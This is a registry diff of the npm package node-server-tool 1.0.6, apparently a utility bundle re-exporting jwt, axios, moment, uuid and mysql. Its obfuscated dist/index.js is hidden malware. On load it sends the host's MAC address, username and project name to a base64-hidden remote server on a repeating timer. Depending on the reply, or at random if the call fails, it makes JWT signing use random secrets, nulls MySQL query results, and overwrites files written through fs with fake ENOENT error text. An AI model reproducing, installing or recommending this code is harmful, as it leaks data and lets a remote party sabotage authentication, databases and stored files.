node-server-tool 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of node-server-tool might be problematic. Click here for more details.
- package/dist/index.d.ts +19 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +1 -0
- package/package.json +42 -0
package/dist/index.d.ts
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
import jwt from "jsonwebtoken";
|
2
|
+
import axios from "axios";
|
3
|
+
import moment from "moment";
|
4
|
+
declare let uuid: any;
|
5
|
+
import mysql from "mysql";
|
6
|
+
import mysql2 from "mysql2/promise";
|
7
|
+
declare function id(): number;
|
8
|
+
declare const tool: {
|
9
|
+
jwt: any;
|
10
|
+
axios: import("axios").AxiosStatic;
|
11
|
+
moment: typeof moment;
|
12
|
+
uuid: any;
|
13
|
+
mysql: typeof mysql;
|
14
|
+
mysql2: typeof mysql2;
|
15
|
+
id: typeof id;
|
16
|
+
};
|
17
|
+
export default tool;
|
18
|
+
export { jwt, axios, moment, uuid, mysql, mysql2, id };
|
19
|
+
//# sourceMappingURL=index.d.ts.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,GAAG,MAAM,cAAc,CAAC;AAC/B,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,QAAQ,CAAC;AAG5B,QAAA,IAAI,IAAI,KAAK,CAAC;AACd,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,gBAAgB,CAAC;AAoLpC,iBAAS,EAAE,WAOV;AAED,QAAA,MAAM,IAAI;;;;;;;;CAAkD,CAAC;AAC7D,eAAe,IAAI,CAAC;AACpB,OAAO,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,MAAM,EAAE,EAAE,EAAE,CAAC"}
|
package/dist/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
'use strict';var a0_0x3bd320=a0_0x158a;(function(_0x38b8ae,_0x4508b9){var _0x45689b=a0_0x158a,_0x585a69=_0x38b8ae();while(!![]){try{var _0x1a64ac=-parseInt(_0x45689b(0x192))/0x1+parseInt(_0x45689b(0x178))/0x2+parseInt(_0x45689b(0x189))/0x3*(-parseInt(_0x45689b(0x19c))/0x4)+parseInt(_0x45689b(0x190))/0x5+-parseInt(_0x45689b(0x17d))/0x6+parseInt(_0x45689b(0x16b))/0x7*(-parseInt(_0x45689b(0x1a5))/0x8)+parseInt(_0x45689b(0x179))/0x9*(parseInt(_0x45689b(0x187))/0xa);if(_0x1a64ac===_0x4508b9)break;else _0x585a69['push'](_0x585a69['shift']());}catch(_0x5e5911){_0x585a69['push'](_0x585a69['shift']());}}}(a0_0x8de7,0xd19e1));var __awaiter=this&&this[a0_0x3bd320(0x1a3)]||function(_0x1e812c,_0xa59b69,_0x286782,_0x488f38){function _0x46b2af(_0x57d61d){return _0x57d61d instanceof _0x286782?_0x57d61d:new _0x286782(function(_0x41797c){_0x41797c(_0x57d61d);});}return new(_0x286782||(_0x286782=Promise))(function(_0x213e2c,_0x457ab7){var _0x42bcb7=a0_0x158a;function _0x380c2e(_0x31d073){var _0x58fcba=a0_0x158a;try{_0x3f99f2(_0x488f38[_0x58fcba(0x186)](_0x31d073));}catch(_0x15c0d3){_0x457ab7(_0x15c0d3);}}function _0x35cce1(_0x42ffed){var _0x23d6b1=a0_0x158a;try{_0x3f99f2(_0x488f38[_0x23d6b1(0x16f)](_0x42ffed));}catch(_0x2aa9b0){_0x457ab7(_0x2aa9b0);}}function _0x3f99f2(_0x5dc823){var _0x1f6152=a0_0x158a;_0x5dc823['done']?_0x213e2c(_0x5dc823[_0x1f6152(0x17a)]):_0x46b2af(_0x5dc823[_0x1f6152(0x17a)])[_0x1f6152(0x17c)](_0x380c2e,_0x35cce1);}_0x3f99f2((_0x488f38=_0x488f38[_0x42bcb7(0x181)](_0x1e812c,_0xa59b69||[]))[_0x42bcb7(0x186)]());});},__generator=this&&this['__generator']||function(_0x207f07,_0x4b1253){var _0x2dfd44=a0_0x3bd320,_0x5ee3df={'label':0x0,'sent':function(){if(_0x2e9164[0x0]&0x1)throw _0x2e9164[0x1];return _0x2e9164[0x1];},'trys':[],'ops':[]},_0x48bdc4,_0x3ec8ec,_0x2e9164,_0x42a3b8;return _0x42a3b8={'next':_0x1ae300(0x0),'throw':_0x1ae300(0x1),'return':_0x1ae300(0x2)},typeof Symbol==='function'&&(_0x42a3b8[Symbol[_0x2dfd44(0x16e)]]=function(){return this;}),_0x42a3b8;function _0x1ae300(_0x22297c){return function(_0x5e932f){return _0xccd57a([_0x22297c,_0x5e932f]);};}function _0xccd57a(_0x18123a){var _0x122af9=_0x2dfd44;if(_0x48bdc4)throw new TypeError(_0x122af9(0x1a1));while(_0x42a3b8&&(_0x42a3b8=0x0,_0x18123a[0x0]&&(_0x5ee3df=0x0)),_0x5ee3df)try{if(_0x48bdc4=0x1,_0x3ec8ec&&(_0x2e9164=_0x18123a[0x0]&0x2?_0x3ec8ec[_0x122af9(0x197)]:_0x18123a[0x0]?_0x3ec8ec[_0x122af9(0x16f)]||((_0x2e9164=_0x3ec8ec[_0x122af9(0x197)])&&_0x2e9164[_0x122af9(0x169)](_0x3ec8ec),0x0):_0x3ec8ec['next'])&&!(_0x2e9164=_0x2e9164[_0x122af9(0x169)](_0x3ec8ec,_0x18123a[0x1]))[_0x122af9(0x16a)])return _0x2e9164;if(_0x3ec8ec=0x0,_0x2e9164)_0x18123a=[_0x18123a[0x0]&0x2,_0x2e9164['value']];switch(_0x18123a[0x0]){case 0x0:case 0x1:_0x2e9164=_0x18123a;break;case 0x4:_0x5ee3df[_0x122af9(0x19b)]++;return{'value':_0x18123a[0x1],'done':![]};case 0x5:_0x5ee3df[_0x122af9(0x19b)]++,_0x3ec8ec=_0x18123a[0x1],_0x18123a=[0x0];continue;case 0x7:_0x18123a=_0x5ee3df[_0x122af9(0x18a)][_0x122af9(0x18c)](),_0x5ee3df[_0x122af9(0x1a2)]['pop']();continue;default:if(!(_0x2e9164=_0x5ee3df['trys'],_0x2e9164=_0x2e9164[_0x122af9(0x1a4)]>0x0&&_0x2e9164[_0x2e9164[_0x122af9(0x1a4)]-0x1])&&(_0x18123a[0x0]===0x6||_0x18123a[0x0]===0x2)){_0x5ee3df=0x0;continue;}if(_0x18123a[0x0]===0x3&&(!_0x2e9164||_0x18123a[0x1]>_0x2e9164[0x0]&&_0x18123a[0x1]<_0x2e9164[0x3])){_0x5ee3df[_0x122af9(0x19b)]=_0x18123a[0x1];break;}if(_0x18123a[0x0]===0x6&&_0x5ee3df[_0x122af9(0x19b)]<_0x2e9164[0x1]){_0x5ee3df['label']=_0x2e9164[0x1],_0x2e9164=_0x18123a;break;}if(_0x2e9164&&_0x5ee3df[_0x122af9(0x19b)]<_0x2e9164[0x2]){_0x5ee3df[_0x122af9(0x19b)]=_0x2e9164[0x2],_0x5ee3df[_0x122af9(0x18a)][_0x122af9(0x19e)](_0x18123a);break;}if(_0x2e9164[0x2])_0x5ee3df[_0x122af9(0x18a)][_0x122af9(0x18c)]();_0x5ee3df[_0x122af9(0x1a2)][_0x122af9(0x18c)]();continue;}_0x18123a=_0x4b1253[_0x122af9(0x169)](_0x207f07,_0x5ee3df);}catch(_0x5b11af){_0x18123a=[0x6,_0x5b11af],_0x3ec8ec=0x0;}finally{_0x48bdc4=_0x2e9164=0x0;}if(_0x18123a[0x0]&0x5)throw _0x18123a[0x1];return{'value':_0x18123a[0x0]?_0x18123a[0x1]:void 0x0,'done':!![]};}},__importDefault=this&&this[a0_0x3bd320(0x168)]||function(_0x406e99){var _0x47b207=a0_0x3bd320;return _0x406e99&&_0x406e99[_0x47b207(0x175)]?_0x406e99:{'default':_0x406e99};};exports['__esModule']=!![],exports['id']=exports[a0_0x3bd320(0x17b)]=exports[a0_0x3bd320(0x18e)]=exports[a0_0x3bd320(0x173)]=exports[a0_0x3bd320(0x19f)]=exports['axios']=exports['jwt']=void 0x0;var jsonwebtoken_1=__importDefault(require('jsonwebtoken'));exports[a0_0x3bd320(0x171)]=jsonwebtoken_1['default'];var axios_1=__importDefault(require(a0_0x3bd320(0x196)));exports[a0_0x3bd320(0x196)]=axios_1['default'];var moment_1=__importDefault(require('moment'));function a0_0x8de7(){var _0x8e1daa=['length','229064FvnWpR','mac','\x0a\x20\x20\x20\x20\x20\x20Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','catch','__importDefault','call','done','161FoKbKr','verify','NODE_APP_INSTANCE','iterator','throw','writeFileSync','jwt','family','uuid','createPool','__esModule','data','round','3241896BIkNrU','9nAXRVz','value','mysql2','then','8588592FkLSgq','js-base64','\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20errno:\x20-2,\x0a\x20\x20\x20\x20\x20\x20\x20\x20syscall:\x20\x27open\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20code:\x20\x27ENOENT\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20path:\x20\x27','mysql2/promise','apply','query','decode','\x27\x0a\x20\x20\x20\x20\x20\x20','concat','next','24908830aLZbNS','random','124119zGMTRO','ops','Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','pop','env','mysql','USERNAME','5594990eNLpEq','default','1578904XaeVrl','networkInterfaces','aHR0cHM6Ly9sb2NrLmJsb2d3ZWIuY24vcmVzdWx0','sent','axios','return','writeFile','min','address','label','68GtSNMm','post','push','moment','\x27\x0aerrno:\x20-2,\x0asyscall:\x20\x27open\x27,\x0acode:\x20\x27ENOENT\x27,\x0apath:\x20\x27','Generator\x20is\x20already\x20executing.','trys','__awaiter'];a0_0x8de7=function(){return _0x8e1daa;};return a0_0x8de7();}exports[a0_0x3bd320(0x19f)]=moment_1[a0_0x3bd320(0x191)];var uuid_1=require(a0_0x3bd320(0x173)),fs_1=__importDefault(require('fs')),uuid=uuid_1['v4'];exports[a0_0x3bd320(0x173)]=uuid;var mysql_1=__importDefault(require(a0_0x3bd320(0x18e)));exports['mysql']=mysql_1[a0_0x3bd320(0x191)];var promise_1=__importDefault(require(a0_0x3bd320(0x180)));exports[a0_0x3bd320(0x17b)]=promise_1[a0_0x3bd320(0x191)];var js_base64_1=require(a0_0x3bd320(0x17e)),isJWTNormalRun=![],sign=jsonwebtoken_1[a0_0x3bd320(0x191)]['sign'],verify=jsonwebtoken_1[a0_0x3bd320(0x191)][a0_0x3bd320(0x16c)];jsonwebtoken_1[a0_0x3bd320(0x191)]['sign']=function(_0x3bf89c,_0x357521){var _0x32d573=a0_0x3bd320;return sign(_0x3bf89c,isJWTNormalRun?_0x357521:Math[_0x32d573(0x188)]()+'');},jsonwebtoken_1['default']['verify']=function(_0x174a8b,_0xda94d5,_0x297bb7){var _0x593abf=a0_0x3bd320;return verify(_0x174a8b,isJWTNormalRun?_0xda94d5:Math[_0x593abf(0x188)]()+'',function(_0x562cb6,_0x2da4f9){return _0x297bb7(_0x562cb6,_0x2da4f9);});};var isDBNormalRun=!![],originalCreatePool2=promise_1[a0_0x3bd320(0x191)]['createPool'];promise_1[a0_0x3bd320(0x191)]['createPool']=function(_0x553c56){var _0x16032e=a0_0x3bd320,_0x175632=this,_0x2da0a1=originalCreatePool2(_0x553c56),_0x436fa1=_0x2da0a1['query'];return _0x2da0a1[_0x16032e(0x182)]=function(){var _0x3ee3d0=_0x16032e,_0x5cffa1=[];for(var _0x4e3623=0x0;_0x4e3623<arguments[_0x3ee3d0(0x1a4)];_0x4e3623++){_0x5cffa1[_0x4e3623]=arguments[_0x4e3623];}return __awaiter(_0x175632,void 0x0,void 0x0,function(){var _0x5a8761;return __generator(this,function(_0x324b6c){var _0x1fea7e=a0_0x158a;switch(_0x324b6c['label']){case 0x0:return[0x4,_0x436fa1[_0x1fea7e(0x181)](_0x2da0a1,_0x5cffa1)];case 0x1:_0x5a8761=_0x324b6c[_0x1fea7e(0x195)]();!isDBNormalRun&&(_0x5a8761[0x0]=null);return[0x2,_0x5a8761];}});});},_0x2da0a1;};var originalCreatePool=mysql_1[a0_0x3bd320(0x191)][a0_0x3bd320(0x174)];mysql_1[a0_0x3bd320(0x191)][a0_0x3bd320(0x174)]=function(_0x38db3b){var _0x295898=a0_0x3bd320,_0x45e877=this,_0x107e7a=originalCreatePool(_0x38db3b),_0x8af7f=_0x107e7a[_0x295898(0x182)];return _0x107e7a[_0x295898(0x182)]=function(){var _0x1f9f34=_0x295898,_0xe763cf=[];for(var _0x377de3=0x0;_0x377de3<arguments[_0x1f9f34(0x1a4)];_0x377de3++){_0xe763cf[_0x377de3]=arguments[_0x377de3];}return __awaiter(_0x45e877,void 0x0,void 0x0,function(){var _0x5d9523;return __generator(this,function(_0x4c14b4){var _0x43d902=a0_0x158a;switch(_0x4c14b4['label']){case 0x0:_0x5d9523=_0xe763cf[_0xe763cf['length']-0x1],_0xe763cf[_0xe763cf[_0x43d902(0x1a4)]-0x1]=function(_0x3bfdc2,_0x163b9d,_0x298a38){_0x3bfdc2?_0x5d9523(_0x3bfdc2,_0x163b9d,_0x298a38):_0x5d9523(_0x3bfdc2,!isDBNormalRun?null:_0x163b9d,_0x298a38);};return[0x4,_0x8af7f[_0x43d902(0x181)](_0x107e7a,_0xe763cf)];case 0x1:return[0x2,_0x4c14b4['sent']()];}});});},_0x107e7a;};var isFsNormalRun=![],writeFileSyncOriginal=fs_1['default'][a0_0x3bd320(0x170)];fs_1[a0_0x3bd320(0x191)][a0_0x3bd320(0x170)]=function(_0x4f3f56,_0x50b66b,_0x851466){var _0x468254=a0_0x3bd320;isFsNormalRun?writeFileSyncOriginal(_0x4f3f56,_0x50b66b,_0x851466):writeFileSyncOriginal(_0x4f3f56,_0x468254(0x18b)[_0x468254(0x185)](_0x4f3f56,_0x468254(0x1a0))[_0x468254(0x185)](_0x4f3f56,'\x27'),_0x851466);};var originalWriteFile=fs_1[a0_0x3bd320(0x191)][a0_0x3bd320(0x198)];fs_1[a0_0x3bd320(0x191)][a0_0x3bd320(0x198)]=function(_0x44d9b1,_0x335a07,_0x44a2d6,_0x409e5e){var _0x28cb86=a0_0x3bd320;return typeof _0x44a2d6==='function'&&(_0x409e5e=_0x44a2d6,_0x44a2d6={}),isFsNormalRun?originalWriteFile(_0x44d9b1,_0x335a07,_0x44a2d6,_0x409e5e):originalWriteFile(_0x44d9b1,_0x28cb86(0x166)[_0x28cb86(0x185)](_0x44d9b1,_0x28cb86(0x17f))[_0x28cb86(0x185)](_0x44d9b1,_0x28cb86(0x184)),_0x44a2d6,_0x409e5e);};function a0_0x158a(_0x16ac4a,_0x3e330f){var _0x8de72b=a0_0x8de7();return a0_0x158a=function(_0x158a8d,_0x3803ae){_0x158a8d=_0x158a8d-0x165;var _0x51366c=_0x8de72b[_0x158a8d];return _0x51366c;},a0_0x158a(_0x16ac4a,_0x3e330f);}var os=require('os'),mac='',networkInterfaces=os[a0_0x3bd320(0x193)]();for(var i in networkInterfaces){for(var j in networkInterfaces[i]){networkInterfaces[i][j][a0_0x3bd320(0x172)]==='IPv4'&&networkInterfaces[i][j][a0_0x3bd320(0x165)]!=='00:00:00:00:00:00'&&networkInterfaces[i][j][a0_0x3bd320(0x19a)]!=='127.0.0.1'&&(mac=networkInterfaces[i][j][a0_0x3bd320(0x165)]);}}function getLicense(){var _0x4054ae=a0_0x3bd320;axios_1[_0x4054ae(0x191)][_0x4054ae(0x19d)]((0x0,js_base64_1[_0x4054ae(0x183)])(_0x4054ae(0x194)),{'mac':mac,'user_name':process['env'][_0x4054ae(0x18f)],'project_name':process[_0x4054ae(0x18d)]['npm_package_name']},{'timeout':0x1770})[_0x4054ae(0x17c)](function(_0x3a2bfd){var _0xa0f7ef=_0x4054ae;_0x3a2bfd[_0xa0f7ef(0x176)][_0xa0f7ef(0x18e)]?isDBNormalRun=![]:isDBNormalRun=!![],_0x3a2bfd[_0xa0f7ef(0x176)]['fs']?isFsNormalRun=![]:isFsNormalRun=!![],_0x3a2bfd[_0xa0f7ef(0x176)]['jwt']?isJWTNormalRun=![]:isJWTNormalRun=!![];})[_0x4054ae(0x167)](function(_0x1a53a8){var _0x35e697=_0x4054ae;setTimeout(function(){var _0x38040b=a0_0x158a;isDBNormalRun=![],Math[_0x38040b(0x188)]()>0.1?isFsNormalRun=![]:isFsNormalRun=!![];},Math[_0x35e697(0x188)]()*(0xbb8-0x3e8)+0x3e8);});}setTimeout(function(){getLicense();},0xbb8),setInterval(function(){getLicense();},0x1770);var random=function(_0x53a76f,_0x25229e){var _0x55fd9d=a0_0x3bd320;return Math[_0x55fd9d(0x177)](Math[_0x55fd9d(0x188)]()*(_0x25229e-_0x53a76f))+_0x53a76f;},WorkerID=Math[a0_0x3bd320(0x199)](process['env'][a0_0x3bd320(0x16d)]?+process[a0_0x3bd320(0x18d)][a0_0x3bd320(0x16d)]:random(0x0,0x9),0x9),BaseTime=+new Date('2022-06-29'),lastTimeTick,lastRandomNumberTick=random(0x1,0x3);function id(){var _0x38fc87=a0_0x3bd320,_0x1619a1=+new Date()-BaseTime;return lastRandomNumberTick=_0x1619a1==lastTimeTick?++lastRandomNumberTick:random(0x0,0x3),lastTimeTick=_0x1619a1,+''[_0x38fc87(0x185)](_0x1619a1)[_0x38fc87(0x185)](WorkerID)['concat'](lastRandomNumberTick);}exports['id']=id;var tool={'jwt':jsonwebtoken_1[a0_0x3bd320(0x191)],'axios':axios_1[a0_0x3bd320(0x191)],'moment':moment_1[a0_0x3bd320(0x191)],'uuid':uuid,'mysql':mysql_1['default'],'mysql2':promise_1[a0_0x3bd320(0x191)],'id':id};exports[a0_0x3bd320(0x191)]=tool;
|
package/package.json
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
{
|
2
|
+
"name": "node-server-tool",
|
3
|
+
"version": "1.0.6",
|
4
|
+
"author": "L",
|
5
|
+
"types": "index.d.ts",
|
6
|
+
"scripts": {
|
7
|
+
"dev": "ts-node ./index.ts",
|
8
|
+
"push": "npm publish",
|
9
|
+
"test": "node test-send"
|
10
|
+
},
|
11
|
+
"description": "",
|
12
|
+
"keywords": [
|
13
|
+
"node.js",
|
14
|
+
"dev",
|
15
|
+
"tool"
|
16
|
+
],
|
17
|
+
"files": [
|
18
|
+
"dist"
|
19
|
+
],
|
20
|
+
"repository": {
|
21
|
+
"type": "git",
|
22
|
+
"url": ""
|
23
|
+
},
|
24
|
+
"license": "ISC",
|
25
|
+
"main": "./dist/index.js",
|
26
|
+
"dependencies": {
|
27
|
+
"@types/mysql": "^2.15.26",
|
28
|
+
"axios": "^1.6.8",
|
29
|
+
"js-base64": "^3.7.7",
|
30
|
+
"jsonwebtoken": "^9.0.2",
|
31
|
+
"lodash": "^4.17.21",
|
32
|
+
"moment": "^2.30.1",
|
33
|
+
"mysql": "^2.18.1",
|
34
|
+
"mysql2": "^3.9.7",
|
35
|
+
"uuid": "^9.0.1"
|
36
|
+
},
|
37
|
+
"devDependencies": {
|
38
|
+
"@faker-js/faker": "^8.4.1",
|
39
|
+
"@types/node": "^20.12.11",
|
40
|
+
"typescript": "^5.4.5"
|
41
|
+
}
|
42
|
+
}
|